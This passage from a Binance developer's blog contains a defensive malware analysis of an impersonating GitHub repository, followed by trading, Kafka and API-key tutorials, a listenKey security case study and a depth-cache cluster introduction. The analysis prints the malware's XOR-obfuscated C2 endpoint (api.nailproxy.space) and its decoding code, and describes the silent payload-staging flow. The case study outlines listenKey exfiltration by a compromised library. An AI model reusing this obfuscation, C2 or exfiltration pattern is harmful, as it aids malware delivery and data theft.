• correlating commit timing and upload choreography

Final Note

The first fraudulent UBWA-themed repository was enough to justify a warning.

The broader pattern now justifies something stronger:

this does not look like an isolated deceptive repository. It looks like a repeatable GitHub malware campaign using multiple lures, shared infrastructure, and manufactured trust signals.

Open source depends on trust.

Campaigns like this are dangerous not only because they deliver payloads, but because they systematically erode the assumptions people make about what looks legitimate on public platforms.

Follow me on GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Thank you for reading! ¯\_(ツ)_/¯

Update (2026-04-22): Further analysis indicates that this fraudulent repository is likely one lure within a broader GitHub malware campaign.
Across the currently confirmed set, multiple repositories share the same decoded C2 (api.nailproxy.space), the same staged Windows payload flow, similar utils/ dropper architecture, repeated commit choreography, and manipulated-looking social proof.
Follow-up analysis: nailproxy.space: A Multi-Repository GitHub Malware Campaign

Further update (2026-04-23): I published a deeper follow-up on the delivery chain, loader, and StealC-linked final-stage behavior behind this campaign.
Read: From a coffee-in-bed Google search to a StealC-linked campaign — the story behind nailproxy.space

TL;DR: Do not clone or run gesine1541ro7/UNICORN-Binance-WebSocket-API.
Based on the public startup path, it stages and executes a hidden Windows PE payload at launch.
The legitimate project lives here: oliver-zehentleitner/unicorn-binance-websocket-api
Official package: unicorn-binance-websocket-api on PyPI

A GitHub repository using the name UNICORN-Binance-WebSocket-API is not a legitimate UBWA console, clone, or community wrapper.

After reviewing the public repository contents, my assessment is:

This is a fraudulent repository impersonating the UNICORN Binance WebSocket API project while using a fake Binance console narrative as cover for staged Windows payload execution.

This post documents what I observed, why I consider it malicious, and what I am doing next.

Why I Looked at It

I maintain the legitimate UNICORN Binance WebSocket API project through the official project channels:

• Official GitHub repository: oliver-zehentleitner/unicorn-binance-websocket-api

• Official PyPI package: unicorn-binance-websocket-api

The repository I analyzed is this one:

• Fraudulent repository: gesine1541ro7/UNICORN-Binance-WebSocket-API

What initially stood out was not just the reused project name, but also the mismatch between its visible development footprint and its social proof.

At the time of writing, the repository publicly shows:

• 816 stars

• 453 forks

• 0 issues

• 0 pull requests

• 1 contributor

• 4 commits

That profile is highly unusual for a repository with such limited visible activity.

Another detail that stood out early is the mismatch between the reported fork count and the practically empty-looking public fork surface. Combined with the naming patterns I observed on visible fork-owner accounts, that makes the social proof look even less credible.

This Is Not a UBWA Console

On the surface, the repository presents itself as a Python-based Binance streaming console. Its README describes it as an interactive console for real-time market data streaming using the unicorn-binance-websocket-api library.

That framing is deceptive.

This repository is not the official UBWA project. It is also not a harmless console wrapper in any meaningful sense. The console story functions as camouflage around the real startup behavior.

The observable code path shows that the project’s real purpose is not interactive Binance tooling. Its meaningful behavior happens immediately at launch and leads into remote retrieval, decryption, staging, and execution of a Windows payload.

What I Observed in the Startup Path

The critical behavior starts at program launch.

In main.py, the main() entry point is decorated with @ensure_env:

@ensure_env
def main():

That matters because ensure_env from utils/__init__.py is executed on the very first invocation of the TUI — before the user makes any menu selection.

Execution Flow in utils/__init__.py::_init()

Based on the visible code path, _init() performs the following sequence:

1. OS check (win32 / linux / darwin) and Python version check (≥ 3.8).

2. Architecture check: arch_label() must return x64 or x86, otherwise the code returns early.

3. Remote endpoint construction using XOR-obfuscated strings from compat.py.

4. HTTP handshake to POST /api/v1/auth/session to obtain session data such as {nonce, ts}.

5. HMAC-SHA256 signing of the returned challenge data.

6. POST /api/v1/data/sync with the derived signature to retrieve an encrypted payload.

7. AES-GCM decryption of the returned blob.

8. Handoff of the decrypted blob to bootstrap.apply() in a background daemon thread.

That is not normal behavior for a Binance console.

Payload Staging and Execution

The strongest signal appears in utils/bootstrap.py.

utils/bootstrap.py::apply()

Based on the exposed code path, the bootstrap routine:

• expects magic bytes MZ, the classic header of a Windows PE executable

• writes the blob into the system temp directory

• uses a temp prefix resembling Office-style lock artifacts

• renames the file to .exe

• starts it with creationflags=0x08000000 (CREATE_NO_WINDOW)

• waits for process completion

• removes the staged file afterward

In plain language:

the Python application retrieves, stages, and silently executes a Windows executable payload

This is the core reason I consider the repository malicious and fraudulent.

Platform Targeting

The visible logic suggests that Windows x86/x64 users are the likely target.

The code path checks the architecture label and only proceeds with the suspicious bootstrap flow for x64 and x86. The bootstrap logic itself also contains an operating system check that avoids executing the payload path on non-Windows systems.

That means Linux, macOS, and ARM-based environments may see relatively harmless behavior, while Windows users are exposed to the actual payload flow.

From an attacker perspective, that is an effective way to reduce suspicion during casual review.

Technical Details

Hidden Trigger Before Any Real Use

One of the more important details here is not just what the code does, but when it does it.

The suspicious flow is not hidden behind a rare feature, a debug mode, or a later menu action. It is tied directly to the application start through the decorator on main().

That means a user can be exposed simply by running:

python main.py

No meaningful interaction is required.

Deobfuscated Endpoint

The endpoint is not stored as a plain string. It is built from byte arrays in utils/compat.py and XOR-decoded at runtime.

A simplified reconstruction looks like this:

# From utils/compat.py
_API_SCHEMA = bytes([0xAA, 0xB6, 0xB6, 0xB2, 0xB1])
_API_HOST   = bytes([0xF8, 0xED, 0xED, 0xA3, 0xB2, 0xAB, 0xEC])
_API_DOMAIN = bytes([0xAC, 0xA3, 0xAB, 0xAE, 0xB2, 0xB0])
_API_TLD    = bytes([0xAD, 0xBA, 0xBB, 0xEC, 0xB1, 0xB2, 0xA3, 0xA1, 0xA7])
_COMPAT_LEVEL = 194  # 0xC2

raw = _API_SCHEMA + _API_HOST + _API_DOMAIN + _API_TLD
ep = bytes(b ^ 0xC2 for b in raw).decode()
# -> "https://api.nailproxy.space"

That is not something a legitimate Binance TUI would normally need to hide.

Encryption / Decryption Path

Another detail that makes this stand out is the decryption implementation.

The visible logic uses AES-GCM to decrypt the fetched payload. It also appears to include a Windows-specific fallback path using bcrypt.dll if the Python cryptography package is not available.

That matters because it reduces friction for execution. In other words, the suspicious flow does not appear to depend on a clean Python package environment in order to decrypt and continue.

File Staging Behavior

The bootstrap stage writes the decrypted blob into the temp directory, then renames it from a temporary filename to an executable filename before starting it.

The observed pattern is notable for two reasons:

• the temporary prefix appears designed to look innocuous

• the process is launched without a visible window

Combined with cleanup behavior after execution, this is consistent with staged payload delivery rather than normal application behavior.

Deobfuscated Indicators

The following values are relevant from a defensive and incident-response perspective:

These indicators should be handled as defensive context, not as operational instructions.

Pycache Analysis

The repository also contains committed .pyc files under __pycache__/, which is unusual for a small public Python project of this kind.

I decompiled the committed bytecode to determine whether the cached bytecode differed from the visible Python source.

Result

• the committed .pyc files are benign in the narrow sense that they match the visible .py files

• I found no hidden second-stage logic in those committed cache files

• the malicious behavior is already present in the visible source path

That result is useful because it rules out one obvious alternative explanation.

The repository is not “harmless in source, malicious only in cache.” The visible source itself is already enough to justify the assessment above.

Additional Observation

There is no __pycache__ for the utils/ malware-related module path.

That is interesting from a timeline perspective.

A plausible interpretation is that the attacker first worked on the visible facade, and the malicious utils/ path was introduced later and pushed without a corresponding committed cache set. I cannot prove that sequencing from this fact alone, but it is consistent with staged repository preparation rather than an ordinary Python project history.

Obfuscation and Presentation

Another reason this repository is concerning is how normal it tries to look.

The repository metadata also raises a separate trust problem: GitHub reports a very high fork count, while the visible fork surface appears disproportionately thin. I cannot fully prove the provenance of those forks from public metadata alone, but the mismatch is one more reason not to treat the repository’s apparent popularity as organic.

The project includes:

• a polished README

• a plausible Binance/TUI story

• generic utility module names like compat, http, integrity, and bootstrap

• normal-looking comments and docstrings

• exception swallowing through debug logging rather than user-visible failures

Taken together, this does not look accidental.

It looks like a repository designed to appear legitimate long enough for a user to trust it.

Why This Matters Beyond One Repository

This is not only about name confusion.

It is about trust boundaries.

If a malicious repository can borrow the identity of a known project, accumulate artificial-looking credibility, and trigger hidden execution at startup, then the attack is not just on one maintainer. It is an attack on the trust model developers and users rely on when selecting tools.

This is also related to a broader security lesson I discussed in an earlier Binance API case study:

• When IP Whitelisting Isn’t What It Seems: A Real-World Case Study from the Binance API

That earlier case was about false security assumptions around trust boundaries. This case is different in implementation, but similar in principle: users often assume they are protected by a boundary that turns out to be weaker than expected.

A compromised workstation can make those assumptions much more dangerous.

What I Verified

The following points are directly supported by the public repository and GitHub interface at the time of writing:

• A public repository exists under the name gesine1541ro7/UNICORN-Binance-WebSocket-API.

• It publicly shows 816 stars, 453 forks, 0 issues, 0 pull requests, 1 contributor, and 4 commits.

• Its README presents it as a Binance streaming console using the unicorn-binance-websocket-api library.

• Its entry point decorates main() with @ensure_env.

• The visible startup path performs a remote session flow, challenge signing, encrypted blob retrieval, decryption, and handoff to a bootstrap routine.

• The visible bootstrap routine stages and launches a Windows PE executable.

• The committed .pyc files match the visible .py files and do not introduce a separate hidden payload path.

• GitHub provides an official abuse reporting path for active malware or exploits.

Activity Log

2026-04-22

• Identified a public GitHub repository using the UNICORN-Binance-WebSocket-API name while the legitimate project is maintained separately.

• Reviewed the publicly exposed startup path and observed behavior consistent with staged Windows payload execution.

• Decompiled the committed .pyc files and confirmed they do not contain a separate hidden payload path beyond the visible source.

• Preserved technical evidence and documented the relevant indicators.

• Prepared a GitHub abuse report for repository review.

Recommended Response for Users

If you executed this repository on a Windows system, I would treat that host as potentially compromised.

Recommended next steps:

1. Isolate the system.

2. Preserve evidence before wiping anything.

3. Review endpoint protection / antivirus / EDR telemetry.

4. Inspect recent process execution and temporary-file activity.

5. Review outbound connections.

6. Rotate any potentially exposed credentials.

7. Revoke and recreate exchange/API credentials where applicable.

What I Am Doing Next

I am preserving the evidence and preparing a report through GitHub’s abuse reporting process.

GitHub documents active malware or exploit-related abuse handling here:

• GitHub Active Malware or Exploits Policy

Final Note

I am publishing this as a defensive security warning.

This post is not about drama, branding, or speculation for its own sake.

It is about documenting a fraudulent repository that borrows the identity of an established project while exposing users to behavior consistent with staged malware delivery.

Open source depends on trust.

If someone hijacks a trusted project name to stage a payload, that is not just abuse of one maintainer. It is abuse of the ecosystem.

Follow me on Binance Square, GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Thank you for reading! ¯\_(ツ)_/¯

Automate your Binance trading strategy by creating OCO sell orders with Python in isolated margin accounts.

There is always the justified desire to buy an asset and at the same time to create a take profit and a stop loss order. In this way, if a profit is made, the asset is sold and any risks are minimized.

This strategy consists of two orders: a BUY and an OCO SELL order.

OCO stands for "One Cancells the Other" and creates both a sell order for Take Profit and one for Stop Loss:

In this tutorial we will create a Market Buy Order for Binance Isolated Margin in a Python Script and buy some BTC with 15 USDT. We will take the purchased amount of BTC and use it to create an OCO Sell Order that includes both Take Profit and Stop Loss (LIMIT).

In order for the code from this example to work for you, you need to transfer at least 15 USDT to your Isolated Margin account on Binance and you need an API key/secret pair from Binance.com.

Ok, here we go :)

First, make sure that the latest UNICORN Binance REST API version is installed:

$ python3 -m pip install unicorn-binance-rest-api --upgrade

Download this script and enter your API key/secret pair:

https://gist.github.com/oliver-zehentleitner/be1c4880b79db7596cf40b7d169b72f6

The comments in the script should help you understand the code.

Watch this video to see how I start the script and what happens on Binance:

https://youtu.be/iuwoweIFJL4

I hope you found this tutorial informative and enjoyable!

Follow me on Binance Square, GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Thank you for reading, and happy coding!

Note (2026): CloudKarafka has discontinued their hosted Kafka service — a more up-to-date tutorial on Kafka alternatives is coming soon!

Using a message queuing cluster like Apache Kafka is an excellent solution for handling a large amount of real-time data from Binance in a redundant and scalable way. Apache Kafka is designed to handle high-volume real-time data streams, providing efficient and reliable message queuing and streaming capabilities. By setting up a Kafka cluster, you can ensure that your data is replicated across multiple nodes and partitions, allowing for failover and high availability.

Additionally, Kafka's distributed architecture allows for easy scaling as your data needs grow. This makes it an ideal solution for processing Binance's real-time data, which can be particularly high volume and time-sensitive.

With Apache Kafka and the Python libraries UNICORN Binance WebSocket API and aiokafka, you can build a robust and scalable real-time data processing system that can handle even the most demanding workloads.

Okay, what are you going to learn here?

First, we'll create a free trial system for you at CloudKarafka. This is a cool Kafka cloud service where you can get free access to a shared Kafka cluster consisting of three cluster nodes within minutes and without any significant configuration, and use and test both SSL and user authentication. In the free version, you can manage the Topics via a web interface and produce and consume them manually in the web interface as well as automatically via a websocket connection. The service is optionally hosted on AWS, Google or Azure and you can also choose the geo location.

If you like CloudKarafka's service, you can upgrade to a professional paid subscription that includes many more features such as logging, monitoring, and other security features like firewall, certificates, users, ACLs and more. Their support chat is very fast and helpful.

After that I will show you how you can receive data of any kind from Binance via websocket connection in real time with the UNICORN Binance WebSocket API and send it asynchronously to the Kafka cluster with the library aiokafka.

To make the tutorial complete, we will read (consume) the data from the Kafka cluster with a separate Python script. You can extend this script according to your needs and run it in separate distributed processes to share the load of data processing.

Reading instructions can also be funny and so I don't want to deprive you of these two illustrations that made me smile while researching on https://www.confluent.io/blog/apache-kafka-vs-enterprise-service-bus-esb-friends-enemies-or-frenemies:

Microservices WRONG

Microservices CORRECT

The blog article from Confluent is also worth reading apart from the two funny pictures (I hope you share my humor), but I guess if you read this, you already understood what it's about. So let's get started!

Table of Contents

1. Creating the Apache Kafka test environment

2. Receive data from Binance and throw it into the Kafka cluster

3. Read the data from the Kafka cluster

1. Creating the Apache Kafka test environment

The first step is to sign up for CloudKarafka for free: https://customer.cloudkarafka.com/login

Register with your email address, GitHub or Google account. After signing up, you will first be asked to create a team. Fill out the page and click on "Create team".

If that worked, you have the option to create a new instance.

Don't let the yellow warnings make you nervous, no personal data is required for the trial version.

Now you can choose who can host your project and where this should be done. Click on "Review" to continue.

If everything fits, confirm the configuration and create the instance.

Now your shared Apache Kafka instance is available. To manage it, please click on the instance name.

Note the values of these parameters from the "OVERVIEW": Hostname, Default user, Password and Port

The goal of this example is to read from the Binance "trades" webstream the price of each trade from specified markets in real time and pass it to Kafka. Assuming we receive the information of the trades for the markets "btcusdt", "ethusdt" and "ltcusdt", it would be practical to create the following topics for them: "btcusdt_binance_spot_last_trade_price", "ethusdt_binance_spot_last_trade_price", "ltcusdt_binance_spot_last_trade_price"

To get to the corresponding interface click on "KAFKA" in the left menu and then on "TOPICS".

Create the topic "btcusdt_binance_spot_last_trade_price".

Note: Please note that in the free trial version of CloudKarafka a prefix must be used! In this example the prefix is "pfyrfgiv-". Therefore the final name is "pfyrfgiv-btcusdt_binance_spot_last_trade_price". For a free test this is good enough!

Repeat the last step and create more topics for "ethusdt_binance_spot_last_trade_price" and "ltcusdt_binance_spot_last_trade_price".

This completes the setup of the Kafka cluster and we can start creating the Python script.

2. Receive data from Binance and throw it into the Kafka Cluster

For the Python script to work, we first install the dependencies:

$ python3 -m pip install aiokafka --upgrade
$ python3 -m pip install unicorn-binance-websocket-api --upgrade

Since as of today (29–03–2024) kafka-python has released many updates but no new version since 2020, I recommend installing kafka from GitHub:

$ python3 -m pip install git+https://github.com/dpkp/kafka-python.git

Copy or download the following Python script and paste your Kafka credentials:

https://gist.github.com/oliver-zehentleitner/92b632f582df22523b1d5593faa0a4f4

If you have followed the previous instructions 1 to 1, the script is now ready and can be started by you!

https://youtu.be/fnQXNU0kl5E

I hope everything works out for you so far, should anything go differently for you, feel free to write me in the comments. But in any case take a look at the created logfile, it should be named like the executed script with ".log" at the end.

3. Read the data from the Kafka cluster

The easiest way to check and admire your work is to open CloudKarafka browser and activate a "Consumer".

Activate the Consumer for the Topic "your_prefix-btcusdt_binance_spot_last_trade_price" — this Topic usually has the highest trade frequency.

When you put everything together so far, this is what it looks like:

https://youtu.be/9t2HXqyamtk

But now we want to fetch the data with a Python script so that you can process them as you like. This script Consumes the "your_prefix-btcusdt_binance_spot_last_trade_price" Topic, you only have to replace the login data and the topic prefix with yours.

https://gist.github.com/oliver-zehentleitner/3750a202a3e729ae8147aa08c7f46289

Copy the script twice and change the topic once to "your_prefix-ethusdt_binance_spot_last_trade_price" and once to "your_prefix-ltcusdt_binance_spot_last_trade_price".

Now you should have a complete system with one data collector and three data processors that allows you to receive data from Binance via websocket and process it via a Kafka cluster in separate distributed applications.

https://youtu.be/UHANyKa-G6Y

Of course, you could also redundantly receive and feed into Kafka and create multiple consumers for a Topic. I hope you have understood the basic concept and can now adapt it according to your ideas and requirements. 🚀

I hope you found this tutorial informative and enjoyable!

Follow me on Binance Square, GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Thank you for reading, and happy coding!

In order to proceed, you'll need an API key/secret pair. I'll explain how to create this quickly and concisely in the following steps!

Create API key/secret pair for Binance.com

First, please log in to binance.com. If you don't have a Binance user account yet, you can sign up via my referral link. With this we both get 100 USDT cashback vouchers for a 50 USD deposit.

Okay, let's get started!

Step 1

Click on the account button:

Step 2

And then on "API Management":

Now you are on the page where you can create, edit and delete your API key/secret pairs and define their respective permissions and IP whitelisting.

Step 3

To create an API access, next click on the yellow "create API" button in the upper right corner:

Step 4

Now a modal window pops up and you can decide which API key type you want to create. The definitely easier and faster process is the "System generated" HMAC-SHA256 type — the advantage of the "Self-generated" RSA type (private/public key pair) is that technically not even Binance knows your key for signing and RSA key pairs can also be stored with higher security, as they can be stored in a LUKS container or HSM and the mandatory entry of a passphrase can be activated to make the keys usable.

At the moment RSA signatures are not yet supported by the UNICORN Binance Suite, as soon as this is the case we will adapt the instructions here.

So we continue with "System generated" and click "Next":

Step 5

Since you can create multiple API Keys with different permissions and IP whitelists, you need to enter a label in this step. This will help you to identify your API key/secret pairs. To continue click on "Next":

Step 6

For security purposes, Binance wants you to play the Binance Sliding game:

Step 7

First you need to request an email verification code:

Step 8

Check your email inbox (and spam folder if necessary), Binance will now immediately send you an email with a verification code:

Step 9

Copy the verification code from the email and paste it here:

Step 10

Open Google's Authenticator app on your smartphone and enter the code for your user account. To continue, click on "Submit":

Step 11

Immediately copy the API key/secret pair to a safe place, it will be shown to you only once! If you do not want to have read-only access to the API, you have not yet finished configuring the API key/secret pair.

All further permissions you have to enable explicitly and as soon as you grant further permissions, an IP whitelist is mandatory!

Step 12

Click on "Edit restrictions":

Step 13

Before you can enable the API Restrictions check boxes, you must select "Restrict access to trusted IPs only (Recommended)" under "IP access restrictions" and whitelist one or more IPs:

Step 14

Now you can grant the desired permissions:

Step 15

When you have set everything, click on "Save":

To save the new permissions and the IP whitelist you have to run the "Security Verification" from step 7 to step 10 again.

Now you can use your API key/secret pair!

I hope you found this tutorial informative and enjoyable!

Follow me on Binance Square, GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Thank you for reading, and happy coding!

Image source: pixabay.com

Update (2026-04-20): This article was originally published on Medium on November 23, 2025, and has since been migrated to this blog. Since then, Binance has retired the old listenKey-based model for Spot User Data Streams from its Spot documentation and moved user data subscriptions to the WebSocket API. As a result, this post should be read as a case study of the earlier Spot architecture at the time of the original disclosure. In Derivatives/Futures, however, listenKey-based user data stream mechanisms are still present in the current documentation, so the transition does not appear to be fully uniform across all Binance product lines.

Update (2026-04-23): Since publishing this case study, I uncovered a separate GitHub malware campaign that used the UNICORN Binance WebSocket API ecosystem as bait.
While technically distinct from the listenKey issue discussed here, it makes one thing very concrete: once a host is compromised, assumptions about what IP whitelisting or related boundaries do and do not protect become far more consequential.
Follow-up research: From a coffee-in-bed Google search to a StealC-linked campaign — the story behind nailproxy.space

In 2024, I discovered an unexpected API behavior in Binance, the world's largest crypto exchange.

I reported the issue twice through their official bug bounty program on Bugcrowd (Submission ID 3897aec7–373d-46b2-b544–29bba9b04a0b from 09 Dec 2024 and b33df044–8db1–446f-9613–3d498067a995 from 18 Dec 2024) — both times the report was closed as:

• "Not security relevant"

• "Not applicable"

• Essentially framed as "social engineering"

This article contains zero exploit code, zero harmful details, zero endpoints, and is purely an architectural case study — safe, abstract and intended for DevSecOps engineers, API designers, and security researchers. Anyone with a Binance account who knows a little bit of programming or can ask an AI can verify what I am claiming for themselves!

https://youtu.be/y9dGtHLEBp8?si=nuKtzWajhIApdfEg

Watch this 5-min live demo first — then read the full technical breakdown below.

Why publish it?

Because local inconsistencies in trust boundaries matter. And because after ~11 months, the underlying behavior still exists. And because Bugcrowd, from my perspective, did not fulfill its role as a neutral and fair mediator in this case — which is the very purpose bug bounty platforms are supposed to serve for researchers.

• What Users Expect From IP Whitelisting

• The Real Model: API Keys vs. listenKeys

• Critical Detail: You Can Obtain the listenKey WITHOUT the Secret

• The Core Security Mismatch: Whitelisting Protects the API Key, Not the listenKey

• A supply chain attack needs zero user interaction

• Why This Isn't "Just Social Engineering"

• Real-World Impact (Without Sensationalism)

• Bugcrowd's Handling — A Systemic Problem

• What a Fair Process Would Have Looked Like

• Lessons for DevSecOps & API Designers

• Closing Thoughts

What Users Expect From IP Whitelisting

Binance allows API keys to be restricted to specific IP addresses.

This gives users a very strong expectation:

"Even if my API key leaks, nobody can use it unless they are on my whitelisted IPs."

That belief is the entire purpose of whitelisting.

It makes developers comfortable embedding an API key inside:

• Trading bots

• Cloud workloads

• Docker containers

• CI/CD tools

• Third-party libraries

• Older servers

• Desktop applications

Because the assumption is:

"My key is useless anywhere else."

This assumption is reasonable. But — it is wrong.

The Real Model: API Keys vs. listenKeys

Binance's API architecture includes:

Primary credentials

• apiKey

• secretKey (for HMAC signatures)

Secondary credential

• listenKey (used for user data streams)

This is not a payload vulnerability — it is an architectural trust-boundary flaw.

User data streams show high-value real-time trading telemetry, including:

• Open orders

• Order executions

• Stop losses

• Trailing stops

• Liquidation-relevant positions

• Balance changes

• Strategy characteristics

• Timing of order placement

This is not harmless information. It exposes the inner workings of a trading strategy.

Critical Detail: You Can Obtain the listenKey WITHOUT the Secret

This is the first architectural red flag.

Binance only requires the API key to issue a listenKey — the secret is not needed. This diverges from the usual "proof of possession" pattern in API design.

The Core Security Mismatch: Whitelisting Protects the API Key, Not the listenKey

This is the point that matters most.

IP whitelisting fully protects the primary apiKey.

But the listenKey is NOT IP-restricted. Not partially. Not conditionally. Not at all.

Therefore:

1. The API key is IP-bound.

2. The listenKey is NOT IP-bound.

3. The listenKey can be obtained using only the API key.

4. Developers believe they are protected by whitelisting — but they aren't.

This creates a false sense of security, and a broken mental model:

"My key is locked to my infrastructure."

…but a secondary stream that exposes my entire trading activity is not.

This is not a hack. This is not an exploit. This is a trust boundary inconsistency.

Why This Isn't "Just Social Engineering"

Binance and Bugcrowd classified this as:

• "Social engineering"

• "Not security relevant"

This framing is technically inaccurate.

Here's why:

A supply chain attack needs zero user interaction

Any compromised:

• Python library

• NPM module

• Docker image

• Browser extension

• Trading bot wrapper

• Cloud agent

…can silently:

1. Request a listenKey (no secret required)

2. Extract it from memory

3. Exfiltrate it

4. Access your user streams from any IP

No phishing. No manipulation. No fake login. No mistake by the user.

This is entirely machine-side, not human-side.

Social engineering requires human manipulation; this issue requires none.

Calling this "social engineering" is simply wrong.

A Sign of This False Sense of Security

This broken security assumption is also visible in the real world. Over the years, multiple users have publicly posted their listenKeys on GitHub — something nobody would ever do with an API key. Examples:

https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api/issues/98#issuecomment-682278783

https://github.com/binance/binance-connector-python/issues/99

When users misunderstand what is protected, they behave accordingly — and that's how real-world incidents happen.

People do this because they believe the listenKey is protected by the same IP whitelisting rules as the API key. It isn't — and that misconception is exactly why this architectural flaw matters.

Real-World Impact (Without Sensationalism)

listenKeys do not grant trading or withdrawal privileges.

But they grant something extremely valuable:

Market-moving intelligence

• Open orders

• Stop-losses

• Take-profit triggers

• Liquidation thresholds

• Wallet exposure

• Detailed order execution flow

• Balance movements

• Position sizing

• Leverage usage

With enough listenKeys from many accounts, an attacker could:

1. Front-run traders

2. Hunt stops

3. Trigger liquidations

4. Detect whale movement patterns

5. Understand strategy timing

6. Analyze market sentiment by user position flow

This is the type of data for which hedge funds pay millions.

Yet with whitelisting enabled, users naturally believe this information is protected.

It isn't.

Bugcrowd's Handling — A Systemic Problem

I submitted the issue twice, both times with professional detail on:

• Architecture

• Threat model

• Python prototype

• Timelines

• Diagrams

• Real user stream examples (safe & anonymized)

• Demo video

The responses were:

• "Not applicable"

• "Not security relevant"

• "Social engineering"

No questions.No technical discussion.No escalation to senior security staff.No clarification.No interest.No attempt to understand the architecture.

This is not a Binance-only problem. This is a bug bounty ecosystem problem:

• Business logic vulnerabilities fall through the cracks.

• Architectural flaws don't fit classic CVSS scoring.

• Whitelisting is treated as a UX feature, not a security boundary.

• Vendor customers get overly defensive.

• Bugcrowd triage tends to favor the vendor.

This case is a textbook example.

But the triage process didn't reflect the actual technical depth of the issue.

A Note on Bugcrowd's Process Handling

When I submitted additional clarification through Bugcrowd's "Request for Response" mechanism, the reply I received did not address the technical points raised. Instead, it reiterated the original classification without engaging with the architectural arguments behind the issue. The response even included a reminder about potential penalties for requesting further clarification, despite the fact that no new technical review had taken place.

This experience reinforced a broader problem I've observed in the bug bounty ecosystem: Platform triage processes are often optimized for clear, conventional vulnerabilities, but they struggle with architectural or trust-boundary issues that don't fit neatly into predefined categories.

In this specific case, Bugcrowd did not provide the neutral and technically grounded mediation that researchers rely on — especially when a report involves design-level inconsistencies rather than classic "payload exploits." This is not about blame; it simply shows that current triage workflows are not well-equipped for complex, multi-layered security findings.

What a Fair Process Would Have Looked Like

For findings of this kind, a fair bug bounty process usually includes:

• A technical review

• Follow-up questions

• A classification discussion

• A clear explanation of the vendor's reasoning

• And at least a form of researcher recognition

These are standard expectations across reputable bounty programs — especially for architectural issues that require multi-day analysis, cross-checking, prototyping, and documentation.

My work included:

• Several days of API investigation

• Multiple reproductions

• Python demonstrations

• Clean and safe reporting

• Detailed architectural reasoning

• Real-world demonstration of the trust boundary mismatch

Across most platforms, this type of research is acknowledged regardless of payout decisions.

In my case, however, none of this happened:

• No technical discussion

• No meaningful review

• No recognition

• No acknowledgement of the work invested

This is why the case matters:

Not because of financial expectations — but because the process failed to deliver what bug bounty platforms are fundamentally meant to provide: fairness, neutrality, and respect for substantial research effort.

Lessons for DevSecOps & API Designers

1. Secondary tokens must inherit all constraints of the primary.

No exceptions.

2. Proof of possession matters.

Never issue a token without confirming ownership of its parent credential.

3. IP whitelisting must be consistent.

If one flow bypasses it, the guarantee breaks.

4. Users' mental models matter as much as code.

When expectations don't match reality, security collapses.

5. Bug bounties must evolve beyond "classic bugs."

Architecture is security. Design is security. Assumptions are security.

Closing Thoughts

The Binance listenKey issue isn't a catastrophic vulnerability. It won't drain wallets, freeze accounts, or cause instant chaos.

But it is a powerful example of:

• Inconsistent trust boundaries

• Misleading security assumptions

• Risk of supply-chain leakage

• Architectural flaws not fitting bounty templates

And it shows how easily deep research can be miscategorized and dismissed.

My goal in publishing this is simple:

To spark a conversation on how we evaluate architectural security issues — especially in systems trusted with billions of dollars.

If you work in DevSecOps, crypto infrastructure, or API security, I would genuinely value your perspective.

I hope you found this tutorial informative and enjoyable!

Follow me on Binance Square, GitHub, X and LinkedIn to stay updated on my latest releases. Your constructive feedback is always appreciated!

Thank you for reading, and happy coding!

One process opens a WebSocket, pulls a depth snapshot, keeps a local order book in memory, and runs a strategy loop on top. For one bot, on one machine, this is fine. Sometimes it is even elegant.

Then the setup grows.

A second bot appears. A dashboard wants the same data. A sidecar service needs top-of-book prices. A teammate working in JavaScript wants access too. Reconnects pile up. Snapshot requests start burning rate limit budget. And if the one process holding a market dies, your market view dies with it.

Suddenly the order book living inside one bot process is no longer a neat design choice. It is now the bottleneck.

That is the problem this post is about.

And that is why I built UBDCC — the UNICORN Binance DepthCache Cluster.

The core problem

A local depth cache inside one process is easy to start with, but hard to share, hard to scale, and fragile.

That creates four common failure modes.

1. One bot becomes two

The first strategy works, so you launch a second one.

Now both bots maintain their own WebSocket connections, their own snapshots, and their own copies of the same order books in separate memory spaces. You doubled the moving parts without gaining new market data. After a reconnect or short network disturbance, those two processes can temporarily hold slightly different views of the same market.

That is not great when both are making decisions off the same symbol.

2. Other services need the same data

Serious setups rarely stop at one bot.

Soon there is:

• a dashboard

• an alerting service

• a sanity-check script

• a backtester consuming live spreads

• some quick internal tool that “just needs the top 5 asks”

If the depth cache only exists inside a Python process, every new consumer either needs its own cache or some custom integration. Both options are ugly.

And if one of those consumers is written in Node.js, Go, Rust, or Bash, it gets uglier fast.

3. Rate limits become infrastructure limits

Every initial depth snapshot costs request weight.

If every process builds its own local cache, every process burns its own weight budget. Reconnect storms multiply the cost. Large market sets become slow to initialize. On one IP, the wall arrives quickly.

For strategies like triangular arbitrage, where a bot may depend on dozens or even hundreds of depth caches, restarting the strategy during development because of one changed line of code can mean waiting all over again for the entire in-process market view to rebuild and re-sync.

That is a lot of wasted time for something that has nothing to do with strategy logic.

4. One cache becomes a single point of failure

A local depth cache inside one bot process is not just hard to share. It is also fragile.

If that process dies, your market view for that symbol dies with it. The usual workaround is not real high availability — it is just duplication by coincidence, with different processes maintaining different copies of the same book.

In a serious setup, market data should not depend on one process staying alive. It should be a shared service with explicit redundancy and failover.

So the real problem is not “how do I keep one order book in sync?”

The real problem is:

How do I turn order book data into shared infrastructure instead of per-process state?

The architectural answer

The clean answer is simple:

one shared depth-cache layer, many consumers

Instead of every bot owning its own WebSocket connection and local order book, you run one service that manages order books centrally and exposes them over HTTP.

That is what UBDCC does.

UBDCC turns Binance order books from per-process state into shared infrastructure.

Anything that can speak HTTP can consume the data:

• Python

• Node.js

• Go

• shell scripts with curl

• dashboards

• monitoring

• internal tools

That is the key shift.

Not “another library”. Not “another bot framework”.

A shared order book layer.

What UBDCC is

UBDCC is an MIT-licensed cluster service for shared Binance depth caches.

It manages:

• WebSocket connections

• depth snapshot initialization

• synchronized local order books

• distribution of caches across worker processes

• access through a REST API

So instead of this:

• bot A keeps BTCUSDT in memory

• bot B keeps BTCUSDT in memory

• dashboard keeps BTCUSDT in memory

…you get this:

• UBDCC keeps BTCUSDT in memory

• bot A queries it

• bot B queries it

• dashboard queries it

One source of truth. Multiple consumers.

The cluster model

UBDCC consists of three roles:

• mgmt — coordinates cluster state and assigns work

• restapi — the public HTTP interface clients talk to

